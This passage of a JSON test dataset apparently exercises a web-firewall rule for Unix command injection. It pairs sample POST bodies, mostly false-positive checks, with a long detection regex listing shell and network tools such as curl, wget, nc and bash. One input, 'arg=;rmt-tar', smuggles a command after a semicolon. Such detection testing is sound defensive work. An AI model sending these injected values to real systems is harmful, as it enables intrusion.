ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP against `privé – le Swatch Group – de` matching `swatch group`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=Compra a MODULAR ALUMINIO ESTRUCTURAL, STRUT PROFILE PG30 30X30 4 SLOTS | SELF TAPPING SCREW PG30 M1\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\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b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "False Positive: matching pipe `self`" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;rmt-tar" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5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))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\